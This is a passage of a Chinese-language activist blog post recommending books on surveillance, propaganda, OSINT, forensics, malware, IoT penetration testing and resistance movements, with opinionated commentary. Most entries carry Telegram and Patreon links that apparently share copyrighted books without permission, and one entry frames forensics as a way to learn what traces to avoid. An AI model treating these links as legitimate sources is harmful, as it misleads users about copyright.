无法使深度造假在此方面比现有的廉价造假技术更有效，例如，对视听媒体的操纵、语境错误和去语境化的视听媒体等。

深度造假对信息战构成威胁是因为它们很容易掩盖虚假的谎言。

您可以在这里下载这本书：https://t.me/iyouport/6399

下载：https://www.patreon.com/posts/38139991

18、《Beginning x64 Assembly Programming：From Novice to AVX Professional》

「图」

这本书是从基础开始讲起的，适合普通用户。在这里下载：https://t.me/iyouport/6407

下载：https://www.patreon.com/posts/38140078

19、《游击队手册》

「图」

在这里下载：https://t.me/iyouport/6409

下载：https://www.patreon.com/posts/38140198

20、实战《物联网渗透测试手册》 —— 提醒防御

「图」

不要错过：《搜远程桌面、摄像头、打印机、家用设备 ... 等一切的超级Shodan搜索：恐怖指南》。

在这里下载：https://t.me/iyouport/6411

下载：https://www.patreon.com/posts/38140267

21、《Cyber Forensics—A Field Manual for Collecting, Examining, and Preserving Evidence of Computer Crimes》

「图」

取证学 ——

这本书是专业的数字取证技术。

通过它，您将能知道数字取证都考虑哪些方面、如何串联信息、如何形成证据以协助法庭定罪。

于是您能知道该避免什么、如何避免、尤其是在被不合理定罪时，您和您的律师应该知道该如何反驳。

在这里下载：https://t.me/iyouport/6420

下载：https://www.patreon.com/posts/38140377

22、《Hacking Web Intelligence: Open Source Intelligence and Web Reconnaissance Concepts and Techniques》

「图」

演练 ——

这本书对 Infosec 专业人士来说具有丰富的主题 —— 寻求最佳方法来筛选可广泛在线获取的大量信息。

在许多情况下，很多安全专业人员、黑客和渗透测试人员没有对安全评估的第一阶段（即 侦察）给予足够的重视。

其实，公开存在的信息与机密数据一样重要。

这本书向您展示如何深入研究Web并发现许多甚至普通人不知道存在的信息。

本书采用整体方法，不仅涉及使用工具在线查找信息、还涉及如何链接所有信息并将其转化为可表现和可操作的情报。

💡您还将学习到如何在线保护信息，以防止被这些侦察方法发现。

《 *Hacking Web Intelligence*》是一份深入的技术参考，涵盖了从互联网挖掘开源信息并将其用于安全评估期间针对性攻击目的所需的方法和技术。

它还介绍了许多新的领先的侦察、信息收集和开源情报方法和技术，包括元数据提取工具、高级搜索引擎、高级浏览器、功能搜索方法、在线匿名工具（例如 TOR 和 i2p， OSINT工具，例如 Maltego，Shodan，Creepy，SearchDiggity，Recon-ng，社交网络分析（SNA），Darkweb / Deepweb，数据可视化等等。

- 为OSINT和Web侦查提供整体方法，向您展示如何将所有数据整合到可操作的情报中；
- 专注于动手工具，例如 TOR，i2p，Maltego，Shodan，Creepy，SearchDiggity，Recon-ng，FOCA，EXIF，Metagoofil，MAT 等；
- 涵盖关键技术主题；
- 包括动手技术示例和案例研究，以及一个 Python 章节，向您展示如何创建自己的信息收集工具以及修改现有的 API。

以上内容我们基本都介绍过，可以参加我们的 “开源情报” 专栏（如果您喜欢中文的话）。

在这里下载这本书：https://t.me/iyouport/6424

下载：https://www.patreon.com/posts/38140427

23、《Spy & CounterSpy》

「图」

间谍与反间谍 ——

间谍与反间谍是一门有关自由技能的实践课程，包括反监视、反情报、隐秘行动等。

- 比如这篇文章中介绍的东西，就是其一部分《在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视》

每个人都有四分之一的机会成为政府间谍针对的目标—— 不论您与任何想要改变现状的公民社会有联系、无论您的目标有多么良善，不论你居住在哪个国家，您都会成为政府间谍监视的目标。

- 如果你的应对不够专业，其结果可能就是这样《我被警察折磨至精神崩溃：现在我必须爬起来战斗》

在这里下载这本书：https://t.me/iyouport/6436

下载：https://www.patreon.com/posts/38140634

24、《The Digital Plenitude: The Decline of Elite Culture and the Rise of New Media》

「图」

互联网带来了什么 ——

本书是今年的新书。如果您关心社交媒体对民主的影响，也许这里可以解释一些东西。

IYP有一个专栏 “互联网媒介效应”，未来将发布一篇文章，关于电影《小丑》引发的一场令人大跌眼镜的在线舆论战，分析其背后的原因。其中会引述到这本书。

这本书将当前数字媒体多元化的根源追溯到了20世纪下半叶的两个发展：精英文化的衰落和数字媒体的兴起，并论述了互联网时代一系列矛盾的二分法……

特朗普主义及其由来，是其中一个标志性论点。

（不是自夸，我们的 “互联网媒介效应” 栏目中的内容已经涵盖了这本新书中超过一半的观点）

在这里下载：https://t.me/iyouport/6459

下载：https://www.patreon.com/posts/38140705

25、《To Save Everything, Click Here: The Folly of Technological Solutionism》

「图」

看不见的政变 ——

你还记得特朗普上台一开始便召集了所有硅谷巨头的会议吗？事实上它是有传统的。而且，很并不简单…

人类已经进入了一个新的政治时代，曾经我们追求的那种民主已经名存实亡了如果不解决这个问题，仅仅追求眼下的政治变革是没有意义的。

灾难从哪里开始的？

- 在这里看到中文版解读《国王们的晚宴—— 这是一场看不见的政变》

在这里下载这本书：https://t.me/iyouport/6462

下载：https://www.patreon.com/posts/38140825

26、《Getting Started with Beautiful Soup》

「图」

抓取技术 ——

Beautiful Soup是python的一个库，最主要的功能是从网页抓取数据。官方解释如下：

Beautiful Soup 提供一些简单的、python 式的函数用来处理导航、搜索、修改分析树等功能。它是一个工具箱，通过解析文档为用户提供需要抓取的数据，因为简单，所以不需要多少代码就可以写出一个完整的应用程序。

Beautiful Soup 自动将输入文档转换为 Unicode 编码，输出文档转换为 utf-8 编码。你不需要考虑编码方式，除非文档没有指定一个编码方式，这时，Beautiful Soup就不能自动识别编码方式了。然后，你仅仅需要说明一下原始编码方式就可以了。

Beautiful Soup 已成为和 lxml、html6lib 一样出色的 python 解释器，为用户灵活地提供不同的解析策略或强劲的速度。

这本书可以说是 Beautiful Soup 的实用指南，从安装到使用，非常全面和详细的介绍。

在这里下载：https://t.me/iyouport/6464

下载：https://www.patreon.com/posts/38140876

27、《Crisis of Conscience: Whistleblowing in an Age of Fraud》

「图」

良心还有多少活路？——

暴政就是一种让良心活不下去的政治制度和社会氛围。

这是 Tom Mueller 今年的新书《Crisis of Conscience》”良心的危机”。

您可以从这个 thread （12条内容）看到为什么我们要上传这本书。是的，⚠中国正在暴力污染这一领域，有可能威胁到全球的良心事业。

透明度革命已经延续40年之久，直到2个月前，如果您搜索“Whistleblower”，您将会看到大量信息，包括基金会、技术援助、法律援助、暗网的安全投递通道 .....等等详尽的内容。没错，透明度革命已经是一个非常成熟的跨国社区；

⚠然而，现在您再搜索 “Whistleblower”，您将首先看到来自中国的暴力污染。

中国当局偏偏要使用 Whistleblower 这个词，而不是中文的任何字词，它有着明确的目的。而且，为了加速推动这一污染，中国最近还推出了一部电影，就叫《吹哨人》汤唯主演，请注意，该片是作为“爱国题材” 推出的。

这就是这场危机的关键之一—— 我们的良心的危机。

如果我们不能成功批驳这场暴力污染，如何对得起40年来所有为了说真话而出生入死的人们？！

这场危机的关键之二是：高堡奇人。

中国的暴力污染恰逢全球谴责美国针对 Whistleblower 的全面而残酷的捕杀，这是民主的危机。在高堡奇人的对峙中，任何希望民主胜过威权的人都应该加入这场反抗，否则，威权正在赢过民主！

这就是为什么我们在两个月前首先强调这是非常糟糕的事。

您可以在我们的专栏中了解 “透明度革命”。

在这里下载这本书：https://t.me/iyouport/6474

下载：https://www.patreon.com/posts/38140980

28、《Propaganda in the Information Age: Still Manufacturing Consent》

「图」

宣传即操纵 ——

每一位研究过政治宣传如何操纵大众认知的人都会非常熟悉这个领域最经典的《Manufacturing Consent》。

就在这本书出版30周年之际，Alan Macleod 对此进行了更新—— 强调了数字化信息时代的 政治心理操纵 有多么的容易。

这本今年出版的新书中包含很多您熟悉的最近发生社交媒体心理战操纵案例，以及优秀和深入的分析。

您可以在这篇文章中看到识别政府心理战操纵的基本方法《操纵式宣传：五个过滤器和识别线索》。

在这里下载这本书：https://t.me/iyouport/6484

下载：https://www.patreon.com/posts/38141030

29、《Army of None: Autonomous Weapons and the Future of War》

「图」

两国演义 ——

谁有能力迅速消解反叛者网络？

全球只有两个国家能做到，那就是：美国和中国。

为什么？就是这本书中介绍的。

您可以在这里看到中文版分析《只有两个国家足以压制反叛”：AI, 大数据和反叛的未来》。

在这里下载这本书：https://t.me/iyouport/6502

下载：https://www.patreon.com/posts/38141148

30、《恶意软件、Rootkit 和僵尸网络：初学者指南》

「图」

是的，初级，很简单可以学会。

在这里下载：https://t.me/iyouport/6504

下载：https://www.patreon.com/posts/38141221

31、《IN DEFENSE OF JULIAN ASSANGE》

「图」

透明度革命 ——

一本新书发布，这本书是30多人共同撰写的，包括中国读者熟悉的艺术家艾未未。简介在下面的视频里：

在这下载：https://t.me/iyouport/6538

32、《BLOOD AND BELONGING》

「图」

柏林墙倒了吗？——

文字特别美的一本书，不止是深刻，而且是深刻到五味杂陈的程度。

Michael Ignatieff 不仅是极为优秀的战地记者、也是文才非凡的作家。他在英国发展时为BBC做了很多出色的节目。这本书是他的三部曲中最厚重的一本，也是最杰出的，因为它涉及一个往往在理性层面上难以辩论的话题：新民族主义。

这本书给出了新民主主义的各种案例，从塞尔维亚到德国、从乌克兰到魁北克、从库尔德斯坦到北爱尔兰；所有这一切都具有明显的共性，只不过是换了时代和环境，上演的悲剧却极为相似。

19世纪的思想家们几乎没有任何一个重视民族主义的影响力，他们都认为“随着时代的进步，民族主义会式微”，事实上正相反。

20世纪民族主义勃然兴起，甚至主导了许多政治运动。不论是左翼还是右翼，如果没有和民族主义结合在一起，甚至无法取得胜利……

这不是喊几句世界主义口号就能解决的问题。

这本书尤其出色的在于，它对比了公民民族主义和种族民族主义的根本性区别，非常值得思考，尤其是对于公民活动家来说。

在这里下载：https://t.me/iyouport/6545

下载：https://www.patreon.com/posts/38141730

33、《Open Source INTELLIGENCE Techniques》

「图」

开源情报技术 ——

调查界大神 Michael Bazzell 的2019新版教程快要出了。我们赶紧发一下上一版 —— 不用担心，其中关键知识在IYP的 “开源情报” 栏目中都有中文版；并且将不断补充和更新。

在这里下载：https://t.me/iyouport/6548

34、国际特赦组织报告《SURVEILLANCE GIANTS: HOW THE BUSINESS MODEL OF GOOGLE AND FACEBOOK THREATENS HUMAN RIGHTS》

「图」

谷歌和 Facebook 是人权侵犯者 ——

最近的好消息是，国际特赦组织终于承认了：Google 和 Facebook 为人权侵犯者。简单说：监视资本主义正在破坏民主。

一些异议人士对此表示轻蔑，“他们居然直到现在才承认这件事”……是啊，直到现在；但是，我们认为应该首先感激，因为终于有一家国际知名的人权组织愿意承认隐私权是基本人权了—— IYP曾被关注中国的人权组织拒绝合作，对方给我们的理由就是 “隐私权不是人权”。这非常荒唐！

我们真心感谢国际特赦组织发布的这份报告，作为国际人权项目的主导者之一，国际特赦组织的报告将以相比以往最强大的力量引领 隐私权作为基本人权 的定义成为主流。

虽然，我们不是很认同它提出的最终方案，即：寻求政府监管作为扼制监视资本主义的力量。因为在我们看来，政权是监视资本主义体制的最大受益人之一，政府监管可能很难将广大公民的基本利益作为优先考虑事项。

我们会在未来的文章中单独解释这个问题。

在这里下载国际特赦组织的这份报告：https://t.me/iyouport/6553

下载：https://www.patreon.com/posts/38141889

35、《Surveillance Valley：the secret military history of the internet》

「图」

从鼓里 ——

这个互联网曾经是一种武器，现在仍然是武器。

对于这本书，我们写过长篇的分析，因为这是一本非常惊人的揭露互联网背景和解释当下诸多谜题的著作，您可以在这里阅读中文版分析：《互联网究竟是什么？》

在这里下载《监视谷》这本书：https://t.me/iyouport/6555

下载：https://www.patreon.com/posts/38141969

36、《The Age of Surveillance Capitalism》

「图」

监视资本主义时代 ——

我们在与其他国家的倡导者交流的过程中最经常出现的对话就是“哎呀，完全一样”。是的，中国社会被认为是“典型”的诸多弊端、以及当局丰富的维稳手段，事实上并没有任何特殊，这些状况在很多国家都是如此。唯一不同的是我们有没有信心作出突破。

这是一场人权vs“便利性”的竞技。大众往往只关注“是不是好用”，当巨头们提供的技术真的能让人们体验到便利性的时候，我们对隐私人

权的呼吁就会被漠视。如果您了解东南亚国家的用户是如何广泛地钟情于中国的盗版电影而使用迅雷下载＋360，也许就能理解人权vs“便利性”这场竞技的难度。

还是那句话，隐私倡导者应该从思考方式角度入手，改变监视资本主义误导给人们的“用隐私交易便利性”的思考方式，普及攻防角度的思考方式，让人们更多了解监视者和攻击者是如何做的，就如渗透测试提供给我们的帮助那样。这一切的基础是充分理解监视资本主义本身。

《The Age of Surveillance Capitalism》这本书是去年最流行的，可以说引起了最大的轰动。作者 Julian Vigo 是一位学者、电影制片人和人权顾问。

那您可以在 IYP 的 “监视资本主义” 专栏中看到这一概念的更多背景和证据。

在这里下载这本书：https://t.me/iyouport/6559

下载：https://www.patreon.com/posts/38143364

37、《Exhalation》

「图」

这是一本科幻小说，来自2019纽约时报畅销书榜。作者 Ted Chiang 就是电影《降临》的原著的作者。

您可以在这里下载：https://t.me/iyouport/6568

下载：https://www.patreon.com/posts/38143455

38、《切尔诺贝利的午夜：世界最大核灾难不为人知的故事》

「图」

也是来自2019纽约时报畅销书榜。作者是著名记者 Adam Higginbotham，他进行了深度的调查，揭露了很多惊人的背景事实。

一个比苏联神话更复杂、更人性和更恐怖的故事……

在这里下载：https://t.me/iyouport/6569

下载：https://www.patreon.com/posts/38143501

39、《The Square and the Tower: Networks and Power, from the Freemasons to Facebook》

「图」

不是好书，但是有趣 ——

我们听到一个消息。尼尔弗格森的 “the square and the tower” 这本书明年要在中国出版中译本。

这本2018年的书中的观点并不新，甚至可以说相对片面，它没有论述集中化互联网可能带来的技术极权、算法暴政、和数字殖民主义的泛滥，以及现代技术促进的大规模监视的便利；

但是，它有一种鼓舞的力量，着眼于互联网基于联合联盟的优势，在革命性思想的传播方面前所未有的强大能力。尤其是，互联网媒介对传统权力结构的冲击。

于是这件事就有意思了。提问：中译本的出版将带来什么样的影响？是仅仅所谓的“互联网＋”创业**2.0**？还是反抗联合性的再推动？

我们上传了这本书的完整版—— 至少您能在明年中文版上架后对比一下，看其中是否有删减。

在这里下载：https://t.me/iyouport/6572

下载：https://www.patreon.com/posts/38143774

40、《Shock Therapy: Psychology, Precarity, and Well-Being in Postsocialist Russia》

「图」

过渡期的社会心理 ——

任何一种专制到民主的过渡都会反应在 社会心理 层面上，专制体制持续的时间越长，其反应就会越明显、过渡期延续时间也就越长。

还记得IYP的 “极权社会心理阴影” 系列吗？（您可以在下面回顾）

自90年代初期俄罗斯从共产主义向资本主义动荡过渡以来，该国一直在应对经济、政治和文化方面的挑战，也常常是学术研究的重点。

上面这本书所讲述的就是这个故事。

如果您对俄罗斯的 “后社会主义” 社会心理感兴趣，除了今天推荐的这本书之外，还可以阅读《二手时间》（2015年诺贝尔文学奖获得者阿列克谢耶维奇的作品，有中文版），虽然它们的角度不同；此外还有一部电影对此的展示非常细腻《Нелюбовь》中译名“无爱可诉”—— 请注意，它讲述的可不是家庭故事，而是整个俄罗斯社会的心理困境。

今天推荐的这本书题为 《休克疗法》，这个题目取自俄罗斯过渡时期发生的新自由主义改革，这是一个讽刺，正如 Alena V. Ledeneva 所说的，其中“休克太多，疗法太少了”。

关于这本书的详细介绍将在未来单独的文章中出现，今天我们先上传它。

最后，关于 “极权社会心理阴影” 系列：

- 《诊疗笔记：求极权社会的心理阴影面积（1）》；
- 《极权社会的心理阴影：健康的人格、缺陷及缺陷的形成（2）》；
- 《极权社会的心理阴影：压抑的恶果和被误解的代偿（3）》
- 《极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4）》
- 《极权社会的心理阴影：阻碍型性格和强迫性人格—— 社会角色的代偿可能（5）》

在这里下载这本书：https://t.me/iyouport/6580

下载：https://www.patreon.com/posts/38143889

41、《Unfreedom of the Press》

「图」

没有中宣部的审查 ——

不自由并非会完全来自审查。

没有中宣部就能获得完全的言论自由吗？不一定。

去年我们在独家消息中谈到过：官方审查不是限制自由的唯一方式；完全不需要审查也能达到几乎一样的限制自由的效果。

有读者对此表示质疑。这不奇怪，至少中国在49年之后还没有经历过没有中宣部的生活。

而我们的亲身经历足够证明这点—我们在三个不同的国家做过新闻工作，都是没有明确审查的“自由国家”，但结果，如您所想。这就是为什么我们抛弃了企业媒体的高薪工作，投入到纯粹自由的替代媒体建设中。

但 没有中宣部的审查 这本身是个有趣的议题：

究竟是什么令人们在没有明文禁令的情况下依旧自我约束？

偏见、集体思维、谎言的社会心理学、宣传性的需求和流量控……究竟哪个才是最致命的？

是否能理解这些问题将决定是否能解决这些问题。

⚠对于中国社会来说，这意味着：是否能抵挡进化专制的威胁。这很重要，因为进化专制和不自由民主已经越来越普遍，在这一全球性的滑坡中，谁能最先认清这一问题，谁就能避免同类的操纵和蒙骗。

在这里回顾我们的独家报告《北京的政治宣传模式发生改变，或正对冲中国异议的弱点》。

这本书来自纽约时报畅销书作者和电台主持人 Mark R. Levin，他写出了美国媒体是如何失去自由的。其中很多观点都具有普遍适用性。

这本书是今年的新书（5月份出版的），于是它含有很多近期的案例；当然，讨论相关问题的书可以说铺天盖地，这几十年来都不少，比如 Lance Bennett 是该领域的经典之一；如果您曾经读过很多，就会发现，这一问题在近几十年来基本没什么改变 ……

也许，我们需要更创新的思考方式才能跟上不断勒紧的绳套。

在这里下载：https://t.me/iyouport/6588

下载：https://www.patreon.com/posts/38144021

42、《Mining the Social Web: Analyzing Data from Facebook, Twitter, LinkedIn, and Other Social Media Sites》

「图」

社交媒体情报技术 ——

挖掘社交网络：分析来自 Facebook、Twitter、LinkedIn 和其他社交媒体网站的数据。

如您所知，Facebook、Twitter 和 LinkedIn 产生了大量有价值的社交数据，如何分析和利用这些数据是很重要的技能。

☞这本书简洁实用，从中您将学习到如何将社交网络数据、分析技术和可视化结合起来，以帮助您在社交干草堆中找到最需要的内容、以及不存在于表面的有用信息。

它是 “开源情报” 在社交媒体方面的应用。

每个独立的章节都介绍了在网络的不同区域（包括博客和电子邮件）中挖掘数据的技术。您所需要做的只是具备一点编程背景和学习基础 Python 工具的意愿。

一定要反用于防御哦！

在这里下载：https://t.me/iyouport/6591

下载：https://www.patreon.com/posts/38144070

43、《Becoming Digital》

「图」

走出高堡奇人 ——

这次关于华为的舆论中有人认为摆脱国产是可期的，也有人认为人们“没记性”几天后就会继续买华为，于是热点无用。

但这场舆论的确曝光了依旧有足够多的人在拒绝华为时只能想到苹果。这是危险的—— 因为它俩是一样的东西。

要想得到自由，除非《超越高堡奇人：在美中的帝国争霸之上》。

一个可能需要不断被强调的道理：民族主义很大程度上只对当权者有利，而且是以牺牲大多数人的利益为代价的。

反抗者必须走出民族主义语境，以自身利益为目标的对话才真正有意义。

另推荐这篇 Vincent Mosco 的访谈《”公民需要组织起来以摆脱中美高堡奇人的世界”》，他是 “Becoming Digital” 一书的作者。

您可以在这里下载这本书：https://t.me/iyouport/6609

下载：https://www.patreon.com/posts/38144149

44、《American Spies: Modern Surveillance, Why You Should Care, and What to Do About It》

「图」

间谍的悠久历史 ——

斯诺登曝光的东西从来不是新鲜事—他曝光的是最完整的证据。

我们去年推荐过一本书《American Spies》—— 这是 2016 年 Palmer 公民自由奖得主，充分揭示了大规模间谍全球的行为有多么地历史悠久。

您可以在这里看到中文版介绍《美国间谍、和匿名真相》。

在这里下载这本书：https://t.me/iyouport/6612

下载：https://www.patreon.com/posts/38144229

45、《The Great Firewall of China: How to Build and Control an Alternative Version of the Internet》

「图」

GFW的中国和世界——

中国的GFW已发展成为世界上最复杂的在线审查系统。

即使随着中国互联网和在线业务的蓬勃发展，言论依然不断受到控制，异议也被消除，在官方共产党以外的任何组织尝试都很快会被压制。

但是，防火墙的作用不仅限于中国本身。

随着中国越来越多地为全球富有野心的独裁者提供灵感，中国正试图扩散的审查制度已经日益威胁着全球互联网自由。

James Griffiths 对GFW做了一些研究，探究了GFW的思路在全球范围内的扩张，并得出结论：只能通过对网络自由提出根本性的新愿景才能抵消其影响。

这是今年的新书。

不要错过我们的调查报告《图解中国科技巨头—— 半壁”高堡奇人”》

在这里现在这本书：https://t.me/iyouport/6626

下载：https://www.patreon.com/posts/38144297

46、《Electronic Monitoring: Tagging Offenders In A Culture Of Surveillance》

「图」

你在监狱里吗？——

这是一本明年即将出版的书，它讨论了一个有趣的新问题—— 电子监控。也就是说，犯人不在监狱里，也能随时随地在 监狱状态 下。

你叫它啥都行，司法改革、刑法创新、监视扩张 ……等等。

这本书对电子监控的最新用途进行了系统性的、社会学的和心理学的探索。

随着监狱已经人满为患，电子监控已经被作为惩罚的另一种形式而提出，并且在整个欧洲，对该主题的兴趣正在不断增长。

当前的辩论和研究通常仅限于政策评估和有效性，而这本书则从社会科学的角度考察这种新型的惩罚产品的各个方面问题。

下面我们上传这本书的电子版—— ⚠请注意中国也使用这种东西，你们都知道的，政治犯出狱后手腕上戴着那个监视器，就是。而且这东西还可以更高级，比如，植入体内的芯片 ……

在这里下载这本书：https://t.me/iyouport/6639

下载：https://www.patreon.com/posts/38144345

47、《Instant Wireshark Starter：A quick and easy guide to getting started with network analysis using Wireshark》

「图」

技术 ——

Wireshark 是自由开源的、跨平台的基于 GUI 的网络数据包分析器，可用于 Linux、Windows、MacOS、Solaris 等。

它可以实时捕获网络数据包，并以人性化的格式呈现。

☞ Wireshark 允许您监控网络数据包直到其微观层面。

Wireshark 还有一个名为 tshark 的命令行实用程序，它与 Wireshark 执行相同的功能，但它是通过终端而不是 GUI。

Wireshark 可用于网络故障排除、分析、软件和通信协议开发以及用于教育目的。Wireshark 使用 pcap 库来捕获网络数据包。

Wireshark 具有许多功能：

– 支持数百项协议检查

– 能够实时捕获数据包并保存，以便以后进行离线分析

– 许多用于分析数据的过滤器

– 捕获的数据可以即时压缩和解压缩

– 支持各种文件格式的数据分析，输出也可以保存为 XML、CSV 和纯文本格式

– 数据可以从以太网、wifi、蓝牙、USB、帧中继、令牌环等多个接口中捕获。

这本书全面介绍 Wireshark 及其使用方法。

在这里下载：https://t.me/iyouport/6642

下载：https://www.patreon.com/posts/38144426

48、《China’s Power In Africa: A New Global Order》

「图」

高堡奇人—

早前我们提到过，中国的外交重点似乎是在试图拉拢所有5、9、14眼之外的国家，其中非洲是重点。这就是为什么IYP有“中东和北非”专栏—它不是题外话。

对中国的这一外交倾向的研究已经越来越多，我们下面将上传一本新书，是明年即将上架的；这本书很好地讨论了中国在非洲的触角及其对政治的影响。

此外不要错过我们去年的分析《习近平的无限任期对非洲意味着什么？》。

在这里下载：https://t.me/iyouport/6645

下载：https://www.patreon.com/posts/38144581

49、《British Intelligence and Hitler’s Empire in the Soviet Union》

「图」

开源情报的历史——

我们在“邦德”一文中曾经简单介绍过，开源情报已经有 **100年的历史**，2018年是OSINT的百年纪念。

开源情报来自作为全球情报大国的英国，英国政府在过去100年中一直将对 OSINT 的认真研究置于其情报库的中心位置，并且直到现在，也没有大肆宣传过。

我们的文章中提到了 Ben Wheatley 的一本书，它阐明了这个重要的情报领域如何在二战中发挥作用。该议题在曾经的相关研究中被广泛忽略。

有读者对这本书感兴趣，我们上传了一下。

> 政府官媒宣布“消息是假的”；军方介入全网删帖；发布者注销社交媒体账号，连缓存都没有…这种情况下意味着故事结束了？不一定。这要看该故事发生在哪个国家了。如果是中国，恐怕在上述第一步就彻底结束了，但本文并没结束……拿起你的武器，加入信息战，因为我们不能一直被动

此外您可以在这里回顾这篇文章《“谷歌地图”是比詹姆斯邦德更棒的间谍》。

在这里下载：https://t.me/iyouport/6648

下载：https://www.patreon.com/posts/38144660

50、《Forensic facial identification : theory and practice of identification from eyewitnesses, composites and CCTV》

「图」

人脸识别取证和定罪——

我们听说BBC剧集《The Capture》（中文译作）“真相捕捉”，在中国获得了好评。

这很不错，这可能意味着 *关于大众监视和相关取证学* 的议题在中国已经有了可喜的关注度。

如今遍地都是摄像头，一些大众监视的支持者给出的理由往往是 “这些监视器会令我们更安全”。

究竟是不是这样呢？

即便我们假设政府是“全心全意为人民服务的”，并且假设政府“只想抓坏人”、而不是瞄准活动家和反抗者，（请注意这两个假设都有大量的证伪依据），那么是否可以就此信任监视技术能保护安全？

不一定。

取证是一门专业性很强的学科，它甚至充分显示了什么叫眼见不为实 —— 监视器录制下来的东西也不一定就是真的。就如《The Capture》那部剧中所描述的故事。

数字取证分为两个领域，我们已经上传过「针对电子设备取证」的专业书籍，并且今后会有详细文章对此进行说明；另一部分则是依据监视摄像头的取证，「人脸识别取证」。

这本书专门介绍这点；您也许可以从中了解到那些冤案是怎么造成的。如果您不幸遭遇了不专业的取证而被错误地定罪，您和您的律师需要知道该如何有效辩护。

在这里下载：https://t.me/iyouport/6650

下载：https://www.patreon.com/posts/38144769

51、《Overdoing Democracy: Why We Must Put Politics in Its Place》

「图」

新闻已经威胁民主 ——

当新闻消息很难得到时，费力去搜寻它是有好处的。但是，当新闻无处不在，且沉浸其中似乎会让事情变得更糟时，需要做的就是避免它，或者至少在一定程度上避免它。

在一个注意力匮乏的时代，过有意义的生活意味着不要对所有重要问题都事事关注；就算历史上最伟大的圣人，也从来没有被要求像你今天浏览那么多国际新闻那样去关心那么多的苦难。

把注意力抽回是否是一种自私的行为，这取决于你如何利用由此多出来的时间和精力。

鉴于政治统治了这么多人的思想，甚至有可能，激进主义的一种关键形式是，不去参与政治，或者在社交媒体上不参与类似于政治的事情，而是把时间花在培养政治无法介入的其他领域。

从这个角度来看，不在酒吧或饮水机前谈论英国脱欧或特朗普，并不是把头埋在沙子里不闻窗外事，而是主动去保护生活的某些部分不被时事淹没。

人们常说，解决社会分歧的方法就是多花时间与“对立面”的人接触。但塔利斯建议，要有意识地参与那些完全不受政治信念驱动的社会活动—— 在这些活动中，从一开始就不会出现政治方面的问题。

在这里看到中文版解读《“新闻”如何取代了现实生活、威胁了民主？》。

在这里下载：https://t.me/iyouport/6653

下载：https://www.patreon.com/posts/38149957

52、《Radical Technologies: The Design of Everyday Life》

「图」

和上面那本书说了同一件事，虽然角度不同。

你的思想始终有一部分处于新闻世界里，暴露在整个世界的谎言和痛苦中，你会不断发出抱怨，即使是你个人无法改变的重大事件。

就如这本书中所说的：“低级恐慌和失控感”—— 因太过常态化以至成为习惯—— 虚无主义的由来。

当然，不是每个人每天都有闲情花几个小时浏览社交媒体，从这个意义上说，对新闻的过度识别实际是特权阶层的问题。

但是，“时事”也在慢慢殖民我们的个人现实感，并由此产生了一种奇怪的新道德义务—— 即一种社会规范，认为忽视新闻，或拒绝让它在自己的生活中占据主导地位，是一种不负责任的放纵，只有幸运的人才能这样做。

在这里下载：https://t.me/iyouport/6655

下载：https://www.patreon.com/posts/38150008

53、《Automating Inequality: How High-Tech Tools Profile, Police, and Punish the Poor》

「图」

隐私是给谁的 ——

财富和权力的巨大不平等使公平享受隐私成为不可能。两本新书表明，对于穷人来说，隐私从未被提供过……

在中国采访时一些社会底层的老年人告诉我们，他们不得不安装一款应用程序，并接受其人脸识别验证，因为除非这样，否则他们就无法领取养老金；

IYP的《中国恐怖故事7：死亡马拉松》中描述的也是真实的社会，作为社会边缘人士的残疾人为了一年500人民币的所谓补助，被强迫手持身份证拍照，接受各种羞辱性的调查。

当你买不起大 house，只能住在墙壁如纸一样薄的公寓楼里时，除了学会低声说话、不放响屁、不做爱之外，有没有感到严重的侵犯和不公平？

在这里看到中文版书评《隐私究竟是给谁的？》

在这里下载：https://t.me/iyouport/6667

下载：https://www.patreon.com/posts/38150072

54、《Fileless Malware and Process：Injection in Linux》

「图」

在这里下载：https://t.me/iyouport/6675

下载：https://www.patreon.com/posts/38150130

55、《Full Spectrum Resistance, Volume One: Building Movements and Fighting to Win》

「图」

如果仅仅是抗议？……

这是今年出版的新书。

这本书中包含了组织手册和哲学讨论，不仅描述了抵抗运动的必要性、描绘了如今兴旺的抵抗运动的样子；而且，作者还将这些讨论与街头抗议和激进派的历史轶事交织在一起，这些轶事说明了斗争的长期性和关于如何动员的持久讨论。

它同时呼吁从自由派行动主义转向「直接行动」，并邀请自由派活动家超越他们的舒适区，以便有机会阻止即将来临的灾难。

简而言之，自由派行动主义不仅被证明是无效的，并且，它实际上 反而是加强了 它假装反对的制度。

您可以在这里看到中文版介绍《超越抗议》。

在这里下载：https://t.me/iyouport/6683

下载：https://www.patreon.com/posts/38150218

56、《Brothers of the Gun: A Memoir of the Syrian War》

「图」

“我们自己的反抗“——

> “我对我的国人们感到愤怒，因为他们在政治上一无所知，以至于他们无法看到正在恶化的东西以及在外面世界否认我的关于自我识别的选择。”

这个世界真的了解叙利亚吗？

你会读到无数的新闻报道、听到无数“专家”的解读，对于这场战争；但是，你有没有想过听听那些在战火中奋力挣扎的叙利亚人的心里话？他们是亲历者，他们曾经是革命者，他们明白自己想要什么。

嘈杂的地缘政治剧本和无尽的战争宣传充斥着这场持续了八年的噩梦，真正的革命却被淹没。

这是一本启示性的回忆录，它的发表正处于关键时刻，此时普通的叙利亚人越来越多地写出了他们国家的故事。

然而相反，国际角度上占主导地位的叙事却变成了阿萨德政权与伊斯兰国的错误二分法，或者更糟糕的是，关于一群外国人在这个被破坏的国家中争取影响力的事实—— 却没有被提到那些勇敢地以各种形式反抗压迫的叙利亚人民。

这本书的作者 Marwan Hisham 是土生土长的叙利亚人，也是美国独立媒体的专栏作家，他说出了这场战争很多不为人知的真相。

您可以在这里读到这本书相关的故事《在死神的肆虐中捡起被丢弃的故事—— “我们的家园，我们自己的反抗”》。

您可以在这里下载这本书：https://t.me/iyouport/6690

下载：https://www.patreon.com/posts/38150294

57、《Tiger Trap: America’s Secret Spy War with China》

「图」

两个政府——

David Wise 于 2018 年 10 月 8 日在华盛顿去世。享年 88 岁。他是第一个揭露 “隐形政府” 的人。

这篇文章作为对他的怀念，并且梳理他一生中最杰出的著作。您可以在这里回顾《隐形政府》。

我们上传的是 David Wise 在2011年出版的一本书《美国与中国的秘密间谍战》。

您可以在这里下载：https://t.me/iyouport/6693

下载：https://www.patreon.com/posts/38150547

58、《New Dark Age: Technology and the End of the Future》

「图」

灾难的根源？——

> “帝国几乎放弃了对实际领土的诉求，但他们把目光转向了基础设施，以互联网的形式维持他们权力”；我们要对来自可信来源的时效性信息采取行动，而不是等着技术去整合分析和验证每个事实。如果只是等待，一切都会变的太晚……

